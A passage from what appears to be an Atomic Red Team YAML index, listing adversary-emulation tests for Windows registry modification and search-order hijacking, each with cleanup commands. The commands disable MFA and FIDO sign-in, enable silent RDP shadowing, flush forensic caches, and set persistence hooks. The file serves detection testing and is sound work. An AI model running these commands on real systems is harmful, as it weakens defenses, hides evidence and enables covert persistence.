      auto_generated_guid: 37950714-e923-4f92-8c7c-51e4b6fffbf6
      description: 'A registry modification to allow Simultaneous download in the
        system.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "MaxConnectionsPerServer" /t REG_DWORD /d 10 /f
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "MaxConnectionsPer1_0Server" /t REG_DWORD /d 10 /f
        cleanup_command: |
          reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "MaxConnectionsPerServer" /f
          reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "MaxConnectionsPer1_0Server" /f
        name: command_prompt
        elevation_required: true
    - name: Modify Internet Zone Protocol Defaults in Current User Registry - cmd
      auto_generated_guid: c88ef166-50fa-40d5-a80c-e2b87d4180f7
      description: |
        This test simulates an adversary modifying the Internet Zone Protocol Defaults in the registry of the currently logged-in user using the reg.exe utility via the command prompt. Such modifications can be indicative of an adversary trying to weaken browser security settings. Upon execution, if successful, the message "The operation completed successfully." will be displayed.
        To verify the effects of the test:
        1. Open the Registry Editor (regedit.exe).
        2. Navigate to "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults".
        3. Check for the presence of the "http" and "https" DWORD values set to `0`.
        Or run:
        ```batch
        reg query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults"
        ```
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults" /v http /t REG_DWORD /d 0 /F
          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults" /v https /t REG_DWORD /d 0 /F
        cleanup_command: |
          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults" /v http /t REG_DWORD /d 3 /F
          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults" /v https /t REG_DWORD /d 3 /F
        name: command_prompt
    - name: Modify Internet Zone Protocol Defaults in Current User Registry - PowerShell
      auto_generated_guid: b1a4d687-ba52-4057-81ab-757c3dc0d3b5
      description: "This test simulates an adversary modifying the Internet Zone Protocol
        Defaults in the registry of the currently logged-in user using PowerShell.
        Such modifications can be indicative of an adversary attempting to weaken
        browser security settings. \nTo verify the effects of the test:\n1. Open the
        Registry Editor (regedit.exe).\n2. Navigate to \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet
        Settings\\ZoneMap\\ProtocolDefaults\".\n3. Check for the presence of the \"http\"
        and \"https\" DWORD values set to `0`.\nOr run:\n```powershell\nGet-ItemProperty
        -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults'
        | Select-Object http,https\n```\n"
      supported_platforms:
      - windows
      executor:
        command: |
          # Set the registry values for http and https to 0
          Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'http' -Value 0
          Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'https' -Value 0
        cleanup_command: |
          # Restore the registry values for http and https to 3
          Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'http' -Value 3
          Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults' -Name 'https' -Value 3
        name: powershell
    - name: Activities To Disable Secondary Authentication Detected By Modified Registry
        Value.
      auto_generated_guid: c26fb85a-fa50-4fab-a64a-c51f5dc538d5
      description: |
        Detect the disable secondary authentication activities that adversary attempt to bypass MFA and to get the unauthorized access to the system or sensitive data.
        See the related article (https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.SecondaryAuthenticationFactor::MSSecondaryAuthFactor_AllowSecondaryAuthenticationDevice).
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\SecondaryAuthenticationFactor"
          /v "AllowSecondaryAuthenticationDevice" /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\SecondaryAuthenticationFactor"
          /v "AllowSecondaryAuthenticationDevice" /t REG_DWORD /d 1 /f

          '
        name: command_prompt
    - name: Activities To Disable Microsoft [FIDO Aka Fast IDentity Online] Authentication
        Detected By Modified Registry Value.
      auto_generated_guid: ffeddced-bb9f-49c6-97f0-3d07a509bf94
      description: |
        Detect the Microsoft FIDO authentication disable activities that adversary attempt to gains access to login credentials (e.g., passwords), they may be able to impersonate the user and access sensitive accounts or data and also increases the risk of falling victim to phishing attacks.
        See the related article (https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.FidoAuthentication::AllowFidoDeviceSignon).
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FIDO" /v "AllowExternalDeviceSignon"
          /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FIDO" /v "AllowExternalDeviceSignon"
          /t REG_DWORD /d 1 /f

          '
        name: command_prompt
    - name: Scarab Ransomware Defense Evasion Activities
      auto_generated_guid: ca8ba39c-3c5a-459f-8e15-280aec65a910
      description: |
        Scarab Ransomware defense evasion activities that can abuse the registry values to modify the settings of the Credential Security Support Provider to overcome potential RDP connection issues.
        [Scarab Ransomware Article](https://www.welivesecurity.com/en/eset-research/scarabs-colon-izing-vulnerable-servers/)
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters"
          /v AllowEncryptionOracle /t REG_DWORD /d 2 /f

          '
        cleanup_command: 'reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters"
          /v AllowEncryptionOracle /t REG_DWORD /d 0 /f

          '
        name: command_prompt
    - name: Disable Remote Desktop Anti-Alias Setting Through Registry
      auto_generated_guid: 61d35188-f113-4334-8245-8c6556d43909
      description: 'A modification registry to disable RDP anti-alias settings. This
        technique was seen in DarkGate malware as part of its installation

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows
          NT\Terminal Services" /v "DisableRemoteDesktopAntiAlias" /t REG_DWORD /d
          1 /f

          '
        cleanup_command: 'reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows
          NT\Terminal Services" /v "DisableRemoteDesktopAntiAlias" /t REG_DWORD /d
          0 /f

          '
        name: command_prompt
    - name: Disable Remote Desktop Security Settings Through Registry
      auto_generated_guid: 4b81bcfa-fb0a-45e9-90c2-e3efe5160140
      description: 'A modification registry to disable RDP security settings. This
        technique was seen in DarkGate malware as part of its installation

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows
          NT\Terminal Services" /v "DisableSecuritySettings" /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows
          NT\Terminal Services" /v "DisableSecuritySettings" /t REG_DWORD /d 0 /f

          '
        name: command_prompt
    - name: Disabling ShowUI Settings of Windows Error Reporting (WER)
      auto_generated_guid: '09147b61-40f6-4b2a-b6fb-9e73a3437c96'
      description: "A modification registry to disable ShowUI settings of Windows
        Error Report. This registry setting can influence the behavior of error reporting
        dialogs or prompt box. \nThis technique was seen in DarkGate malware as part
        of its installation.\n"
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKCU\Software\Microsoft\Windows\Windows Error Reporting"
          /v DontShowUI /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg add "HKCU\Software\Microsoft\Windows\Windows Error Reporting"
          /v DontShowUI /t REG_DWORD /d 0 /f

          '
        name: command_prompt
    - name: Enable Proxy Settings
      auto_generated_guid: eb0ba433-63e5-4a8c-a9f0-27c4192e1336
      description: 'A modification registry to enable proxy settings. This technique
        was seen in DarkGate malware as part of its installation.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
          Settings" /v ProxyEnable /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
          Settings" /v ProxyEnable /t REG_DWORD /d 0 /f

          '
        name: command_prompt
    - name: Set-Up Proxy Server
      auto_generated_guid: d88a3d3b-d016-4939-a745-03638aafd21b
      description: 'A modification registry to setup proxy server. This technique
        was seen in DarkGate malware as part of its installation.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
          Settings" /v ProxyServer /t REG_SZ /d "proxy.atomic-test.com:8080" /f

          '
        cleanup_command: 'reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
          Settings" /v ProxyServer /f

          '
        name: command_prompt
    - name: RDP Authentication Level Override
      auto_generated_guid: 7e7b62e9-5f83-477d-8935-48600f38a3c6
      description: 'A modification registry to override RDP Authentication Level.
        This technique was seen in DarkGate malware as part of its installation.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKCU\Software\Microsoft\Terminal Server Client" /v AuthenticationLevelOverride
          /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg delete "HKCU\Software\Microsoft\Terminal Server Client"
          /v AuthenticationLevelOverride

          '
        name: command_prompt
    - name: Enable RDP via Registry (fDenyTSConnections)
      auto_generated_guid: 16bdbe52-371c-4ccf-b708-79fba61f1db4
      description: "Modify the registry value of fDenyTSConnections to allow incoming
        RDP connections. \nThis activity has been observed by multiple ransomware
        groups, including Hive ransomware. \n[Reference](https://www.rapid7.com/blog/post/2023/01/11/increasing-the-sting-of-hive-ransomware/)\n"
      supported_platforms:
      - windows
      input_arguments:
        remove_rdp_access_during_cleanup:
          description: Set to 1 if you want the cleanup to remove RDP access to machine
          type: integer
          default: '0'
      executor:
        command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
          fDenyTSConnections /t REG_DWORD /d 0 /f
        cleanup_command: 'if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete
          "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
          /f >nul 2>&1)'
        name: command_prompt
        elevation_required: true
    - name: Disable Windows Prefetch Through Registry
      auto_generated_guid: 7979dd41-2045-48b2-a54e-b1bc2415c9da
      description: 'Modify the registry of the machine to disable prefetch. Disabling
        prefetch will remove one artifact for evidence of application execution. Restart
        is required post modification

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory
          Management\PrefetchParameters" /v "EnablePrefetcher" /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory
          Management\PrefetchParameters" /v "EnablePrefetcher" /t REG_DWORD /d 3 /f

          '
        name: command_prompt
        elevation_required: true
    - name: Setting Shadow key in Registry for RDP Shadowing
      auto_generated_guid: ac494fe5-81a4-4897-af42-e774cf005ecb
      description: |-
        Microsoft Remote Desktop Protocol (RDP) supports a “shadowing” feature and RDP is available in all Windows Server Operating Systems and the business editions of end-user Windows versions.
        In order to use the RDP shadowing feature, the Remote Desktop Services (TermService) service needs to be running (which it does by default), a rule needs to be enabled in the Windows Firewall and in case of stealth reasons, a setting needs to be configured to not prompt the user for permission when they are being shadowed.
        In order to configure RDP shadowing session in a quiet mode.  The registry of a remote system can be updated using several protocols, depending on the accessible ports and configuration of the services listening on those ports. Our aim is to set the Shadow value in HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services on the remote machine to 2, which allows us to both view and control the session without the user being informed.
        [Reference](https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing)
      supported_platforms:
      - windows
      input_arguments:
        server_name:
          description: The remote server that we need to shadow and have to do the
            registry modification.
          type: string
          default: localhost
      executor:
        command: |-
          $s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)
          Get-CimInstance -Namespace ROOT\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName="Remote Desktop - Shadow (TCP-In)"' -CimSession $s | Invoke-CimMethod -MethodName Enable
          Invoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName="Software\Policies\Microsoft\Windows NT\Terminal Services"; sValueName="shadow"; uValue=[uint32]2} -CimSession $s
        cleanup_command: 'Invoke-CimMethod -ClassName StdRegProv -MethodName DeleteValue
          -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName="Software\Policies\Microsoft\Windows
          NT\Terminal Services"; sValueName="Shadow"} -CimSession $s

          '
        name: powershell
        elevation_required: true
    - name: Flush Shimcache
      auto_generated_guid: ecbd533e-b45d-4239-aeff-b857c6f6d68b
      description: 'The ShimCache is a component in Windows operating systems that
        stores information about recently executed applications. It is used by the
        operating system to speed up the launching process of applications. The ShimCache
        is also used by IR teams and Forensic teams. Forensic investigators can use
        the ShimCache to determine which programs have been executed on a system,
        even if they have been deleted or their logs have been cleared.Reference :
        https://blueteamops.medium.com/shimcache-flush-89daff28d15e'
      supported_platforms:
      - windows
      executor:
        command: Rundll32.exe apphelp.dll,ShimFlushCache
        name: command_prompt
        elevation_required: true
    - name: Disable Windows Remote Desktop Protocol
      auto_generated_guid: 5f8e36de-37ca-455e-b054-a2584f043c06
      description: 'Modify the registry of the machine to disable remote desktop protocol.

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\System\CurrentControlSet\Control\Terminal Server"
          /v fDenyTSConnections /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKLM\System\CurrentControlSet\Control\Terminal
          Server" /v fDenyTSConnections /f

          '
        name: command_prompt
        elevation_required: true
    - name: Enforce Smart Card Authentication Through Registry
      auto_generated_guid: 4c4bf587-fe7f-448f-ba8d-1ecec9db88be
      description: 'Enforce Smart Card Authentication Through Registry

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
          /v scforceoption /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
          /v scforceoption /f

          '
        name: command_prompt
        elevation_required: true
    - name: Requires the BitLocker PIN for Pre-boot authentication
      auto_generated_guid: 26fc7375-a551-4336-90d7-3f2817564304
      description: 'Requires the BitLocker PIN for Pre-boot authentication

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseAdvancedStartup
          /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseAdvancedStartup
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Modify EnableBDEWithNoTPM Registry entry
      auto_generated_guid: bacb3e73-8161-43a9-8204-a69fe0e4b482
      description: 'Allow BitLocker without a compatible TPM (requires a password)

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableBDEWithNoTPM
          /t REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v EnableBDEWithNoTPM
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Modify UseTPM Registry entry
      auto_generated_guid: 7c8c7bd8-0a5c-4514-a6a3-0814c5a98cf0
      description: 'Use Trusted Platform Module (TPM) for Bitlocker tool

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPM /t REG_DWORD
          /d 2 /f

          '
        cleanup_command: 'reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPM
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Modify UseTPMPIN Registry entry
      auto_generated_guid: 10b33fb0-c58b-44cd-8599-b6da5ad6384c
      description: 'Allow startup PIN with TPM for Bitlocker tool

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN /t REG_DWORD
          /d 2 /f

          '
        cleanup_command: 'reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Modify UseTPMKey Registry entry
      auto_generated_guid: c8480c83-a932-446e-a919-06a1fd1e512a
      description: 'Allow startup key with TPM for Bitlocker tool

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey /t REG_DWORD
          /d 2 /f

          '
        cleanup_command: 'reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Modify UseTPMKeyPIN Registry entry
      auto_generated_guid: 02d8b9f7-1a51-4011-8901-2d55cca667f9
      description: 'Allow startup key and PIN with TPM for Bitlocker tool

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKeyPIN /t
          REG_DWORD /d 2 /f

          '
        cleanup_command: 'reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKeyPIN
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Modify EnableNonTPM Registry entry
      auto_generated_guid: e672a340-a933-447c-954c-d68db38a09b1
      description: 'Allow Bitlocker without TPM for Bitlocker tool

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableNonTPM /t
          REG_DWORD /d 1 /f

          '
        cleanup_command: 'reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableNonTPM
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Modify UsePartialEncryptionKey Registry entry
      auto_generated_guid: b5169fd5-85c8-4b2c-a9b6-64cc0b9febef
      description: 'Allow startup key with TPM for Bitlocker tool

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePartialEncryptionKey
          /t REG_DWORD /d 2 /f

          '
        cleanup_command: 'reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePartialEncryptionKey
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Modify UsePIN Registry entry
      auto_generated_guid: 3ac0b30f-532f-43c6-8f01-fb657aaed7e4
      description: 'Allow startup PIN with TPM for Bitlocker tool

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePIN /t REG_DWORD
          /d 2 /f

          '
        cleanup_command: 'reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePIN
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Abusing Windows TelemetryController Registry Key for Persistence
      auto_generated_guid: 4469192c-2d2d-4a3a-9758-1f31d937a92b
      description: "The Windows Compatibility Telemetry system makes use of the CompatTelRunner.exe
        binary to run a variety of telemetry tasks. It relies on the registry for
        instructions on which commands to run. \nIt will run any arbitrary command
        without restriction of location or type. Blog :https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence\n"
      supported_platforms:
      - windows
      input_arguments:
        new_key:
          description: New Registry Key Added
          type: string
          default: NewKey
        new_executable:
          description: Custom Executable to run
          type: string
          default: C:\Windows\System32\notepad.exe
      executor:
        command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\#{new_key}"
          /t REG_SZ /v Command /d #{new_executable} /f

          '
        cleanup_command: 'reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\#{new_key}"
          /f

          '
        name: command_prompt
        elevation_required: true
    - name: Modify RDP-Tcp Initial Program Registry Entry
      auto_generated_guid: c691cee2-8d17-4395-b22f-00644c7f1c2d
      description: |
        If the fInheritInitialProgram value is set to 1, the exe indicated in the InitialProgram value is automatically started on RDP connection.
        Once the test commands are run, notepad will execute automatically on new RDP connection
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v fInheritInitialProgram /t REG_DWORD /d 1 /f
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f
        cleanup_command: 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal
          Server\WinStations\RDP-Tcp" /v InitialProgram /t REG_SZ /d "" /f

          '
        name: command_prompt
        elevation_required: true
    - name: Abusing MyComputer Disk Cleanup Path for Persistence
      auto_generated_guid: f2915249-4485-42e2-96b7-9bf34328d497
      description: 'Replacing the registry settings with custom executable will end
        up with the replacement programs being executed at the time OS will decide
        to kick off the respective activity

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\cleanuppath"
          /t REG_EXPAND_SZ /d "%systemroot%\system32\notepad.exe" /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\cleanuppath"
          /t REG_EXPAND_SZ /d "%SystemRoot%\System32\cleanmgr.exe /D %c" /f

          '
        name: command_prompt
        elevation_required: true
    - name: Abusing MyComputer Disk Fragmentation Path for Persistence
      auto_generated_guid: 3235aafe-b49d-451b-a1f1-d979fa65ddaf
      description: 'Replacing the registry settings with custom executable will end
        up with the replacement programs being executed at the time OS will decide
        to kick off the respective activity

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\DefragPath"
          /t REG_EXPAND_SZ /d "%systemroot%\system32\notepad.exe" /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\DefragPath"
          /t REG_EXPAND_SZ /d "%systemroot%\system32\dfrgui.exe" /f

          '
        name: command_prompt
        elevation_required: true
    - name: Abusing MyComputer Disk Backup Path for Persistence
      auto_generated_guid: 599f3b5c-0323-44ed-bb63-4551623bf675
      description: 'Replacing the registry settings with custom executable will end
        up with the replacement programs being executed at the time OS will decide
        to kick off the respective activity

        '
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\BackupPath"
          /t REG_EXPAND_SZ /d "%systemroot%\system32\notepad.exe" /f

          '
        cleanup_command: 'reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\BackupPath"
          /t REG_EXPAND_SZ /d "%SystemRoot%\system32\sdclt.exe" /f

          '
        name: command_prompt
        elevation_required: true
    - name: Adding custom paths for application execution
      auto_generated_guid: 573d15da-c34e-4c59-a7d2-18f20d92dfa3
      description: "As per Microsoft,the entries found under App Paths are used primarily
        to map an application’s executable file name to that file’s fully qualified
        path and to pre-pend information to the PATH environment variable on a per-application,
        per-process basis. \nThe path can be modified to load a custom application
        of choice. \nPost the registry changes of this test, when someone tries to
        manually run msedge.exe via StartMenu/Run window , notepad will be launched.\n"
      supported_platforms:
      - windows
      input_arguments:
        app_name:
          description: path of application to be modified
          type: string
          default: msedge.exe
        new_path:
          description: New App Path Added
          type: string
          default: C:\Windows\System32\notepad.exe
      executor:
        command: 'reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App
          Paths\#{app_name}" /t REG_SZ /d #{new_path} /f

          '
        cleanup_command: |
          reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}" /v (Default) /f
          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}" /t REG_SZ /d "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /f
        name: command_prompt
        elevation_required: true
  T1574.008:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: Path Interception by Search Order Hijacking'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

        Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

        For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

        Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_detection: |
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      - User
      x_mitre_permissions_required:
      - Administrator
      - User
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
      created: '2020-03-13T17:48:58.999Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/008
        external_id: T1574.008
      - source_name: Microsoft CreateProcess
        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
          5, 2014.
        url: http://msdn.microsoft.com/en-us/library/ms682425
      - source_name: Windows NT Command Shell
        description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved
          December 5, 2014.
        url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
      - source_name: Microsoft WinExec
        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
        url: http://msdn.microsoft.com/en-us/library/ms687393
      - source_name: Microsoft Environment Property
        description: Microsoft. (2011, October 24). Environment Property. Retrieved
          July 27, 2016.
        url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1574.008
    atomic_tests:
    - name: powerShell Persistence via hijacking default modules - Get-Variable.exe
      auto_generated_guid: 1561de08-0b4b-498e-8261-e922f3494aae
      description: "Colibri leverages PowerShell in a unique way to maintain persistence
        after a reboot. Depending on the Windows version, Colibri drops its copy in
        %APPDATA%\\Local\\Microsoft\\WindowsApps and \nnames it Get-Variable.exe for
        Windows 10 and above.\nhttps://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/\n"
      supported_platforms:
      - windows
      executor:
        command: |
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" "PathToAtomicsFolder\T1574.008\bin\calc.cs"
          Powershell -noprofile
        cleanup_command: |
          Remove-Item "$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" -ErrorAction Ignore
          Stop-Process -Name "calculator"
        name: powershell
  T1535:
    technique:
      modified: '2023-12-14T16:28:24.680Z'
